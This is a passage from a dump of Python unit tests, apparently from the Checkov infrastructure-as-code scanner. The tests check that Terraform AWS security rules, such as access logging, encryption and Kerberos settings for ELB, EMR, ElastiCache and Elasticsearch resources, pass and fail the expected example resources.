    "path": "tests/terraform/checks/resource/aws/test_ELBv2AccessLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ELBv2AccessLogs import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestELBv2AccessLogs(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ELBv2AccessLogs\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lb.enabled\",\n            \"aws_alb.enabled\",\n        }\n        failing_resources = {\n            \"aws_lb.default\",\n            \"aws_alb.default\",\n            \"aws_lb.only_bucket\",\n            \"aws_alb.only_bucket\",\n            \"aws_lb.disabled\",\n            \"aws_alb.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ELBwListenerNotTLSSSL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.ELBwListenerNotTLSSSL import check\n\n\nclass TestELBwListenerNotTLSSSL(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ELBwListenerNotTLSSSL\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elb.pass\",\n        }\n        failing_resources = {\n            \"aws_elb.fail\",\n            \"aws_elb.fail2\",\n            \"aws_elb.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRClusterConfEncryptsEBS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EMRClusterConfEncryptsEBS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEMRClusterConfEncryptsEBS(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EMRClusterConfEncryptsEBS\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_emr_security_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_emr_security_configuration.fail\",\n            \"aws_emr_security_configuration.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRClusterConfEncryptsInTransit.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EMRClusterConfEncryptsInTransit import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEMRClusterConfEncryptsInTransit(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EMRClusterConfEncryptsInTransit\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_emr_security_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_emr_security_configuration.fail\",\n            \"aws_emr_security_configuration.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRClusterConfEncryptsLocalDisk.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EMRClusterConfEncryptsLocalDisk import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEMRClusterConfEncryptsLocalDisk(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EMRClusterConfEncryptsLocalDisk\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_emr_security_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_emr_security_configuration.fail\",\n            \"aws_emr_security_configuration.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRClusterIsEncryptedKMS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EMRClusterIsEncryptedKMS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEMRClusterIsEncryptedKMS(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EMRClusterIsEncryptedKMS\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_emr_security_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_emr_security_configuration.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRClusterKerberosAttributes.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.EMRClusterKerberosAttributes import check\nimport hcl2\n\n\nclass TestEMRClusterKerberosAttributes(unittest.TestCase):\n\n    def test_skipped_no_kerberos(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_emr_cluster\" \"test\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  termination_protection            = false\n  keep_job_flow_alive_when_no_steps = true\n\n  ec2_attributes {\n    subnet_id                         = aws_subnet.main.id\n    emr_managed_master_security_group = aws_security_group.sg.id\n    emr_managed_slave_security_group  = aws_security_group.sg.id\n    instance_profile                  = aws_iam_instance_profile.emr_profile.arn\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_emr_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_emr_cluster\" \"test\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  termination_protection            = false\n  keep_job_flow_alive_when_no_steps = true\n\n  kerberos_attributes {\n    kdc_admin_password                = \"somePassword\"  # checkov:skip=CKV_SECRET_6 test secret\n    realm                             = \"EC2.INTERNAL\"\n    }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_emr_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n        \n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_emr_cluster\" \"test\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  termination_protection            = false\n  keep_job_flow_alive_when_no_steps = true\n\n  kerberos_attributes {\n    kdc_admin_password                = \"somePassword\"\n    }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_emr_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)           \n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EMRPubliclyAccessible.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EMRPubliclyAccessible import check\nfrom checkov.terraform.runner import Runner\n\nclass TestEMRPubliclyAccessible(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EMRPubliclyAccessible\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_emr_block_public_access_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_emr_block_public_access_configuration.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_Ec2TransitGatewayAutoAccept.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.Ec2TransitGatewayAutoAccept import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEc2TransitGatewayAutoAccept(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Ec2TransitGatewayAutoAccept\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ec2_transit_gateway.pass\",\n            \"aws_ec2_transit_gateway.pass2\"\n        }\n        failing_resources = {\n            \"aws_ec2_transit_gateway.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElastiCacheHasCustomSubnet.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticBeanstalkUseEnhancedHealthChecks.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticBeanstalkUseEnhancedHealthChecks import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticBeanstalkUseEnhancedHealthChecks(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticBeanstalkUseEnhancedHealthChecks\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elastic_beanstalk_environment.pass\",\n            \"aws_elastic_beanstalk_environment.pass2\",\n        }\n        failing_resources = {\n            \"aws_elastic_beanstalk_environment.fail\",\n            \"aws_elastic_beanstalk_environment.fail2\",\n            \"aws_elastic_beanstalk_environment.fail3\",\n            \"aws_elastic_beanstalk_environment.fail4\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticBeanstalkUseManagedUpdates.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticBeanstalkUseManagedUpdates import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticBeanstalkUseManagedUpdates(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticBeanstalkUseManagedUpdates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elastic_beanstalk_environment.pass\",\n        }\n        failing_resources = {\n            \"aws_elastic_beanstalk_environment.fail\",\n            \"aws_elastic_beanstalk_environment.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticCacheAutomaticBackup.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticCacheAutomaticBackup import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticCacheAutomaticBackup(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticCacheAutomaticBackup\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticache_cluster.enabled\",\n        }\n        failing_resources = {\n            \"aws_elasticache_cluster.default\",\n            \"aws_elasticache_cluster.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticCacheAutomaticMinorUpgrades.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticCacheAutomaticMinorUpgrades import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticCacheAutomaticMinorUpgrades(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticCacheAutomaticMinorUpgrades\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticache_cluster.pass\",\n            \"aws_elasticache_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_elasticache_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticCacheHasSecurityGroup.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticacheHasSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticacheHasSecurityGroup(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheHasSecurityGroup\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"aws_elasticache_security_group.exists\",\n        }\n\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticacheReplicationGroupEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticacheReplicationGroupEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestElasticacheReplicationGroupEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheReplicationGroupEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticache_replication_group.pass\",\n        }\n        failing_resources = {\n            \"aws_elasticache_replication_group.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtRest.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtRest import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKMSRotation(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n                         'at_rest_encryption_enabled': [True], 'transit_encryption_enabled': [True],\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n                         'at_rest_encryption_enabled': [False], 'transit_encryption_enabled': [True],\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n                         'transit_encryption_enabled': [True],\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransit.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransit import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKMSRotation(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n                         'at_rest_encryption_enabled': [True], 'transit_encryption_enabled': [True],\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n                         'at_rest_encryption_enabled': [False], 'transit_encryption_enabled': [False],\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {'automatic_failover_enabled': [True], 'availability_zones': [['us-west-2a', 'us-west-2b']],\n                         'replication_group_id': ['tf-rep-group-1'],\n                         'replication_group_description': ['test description'], 'node_type': ['cache.m4.large'],\n                         'number_cache_clusters': [2], 'parameter_group_name': ['default.redis3.2'], 'port': [6379],\n\n                         'auth_token': ['${var.auth_token}']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransitAuthToken import check\nfrom checkov.terraform.runner import Runner\n\nclass TestElasticacheReplicationGroupEncryptionAtTransitAuthToken(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticache_replication_group.pass\",\n            \"aws_elasticache_replication_group.pass2\",\n        }\n        failing_resources = {\n            \"aws_elasticache_replication_group.fail\",\n            \"aws_elasticache_replication_group.fail2\",\n            \"aws_elasticache_replication_group.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchDefaultSG.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchDefaultSG import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchDefaultSG(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchDefaultSG\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_opensearch_domain.pass\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_opensearch_domain.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchDomainAuditLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ElasticsearchDomainAuditLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestElasticsearchDomainAuditLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ElasticsearchDomainAuditLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_elasticsearch_domain.pass\",\n            \"aws_opensearch_domain.pass\",\n        }\n\n        failing_resources = {\n            \"aws_elasticsearch_domain.fail\",\n            \"aws_opensearch_domain.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ElasticsearchDomainEnforceHTTPS.py",
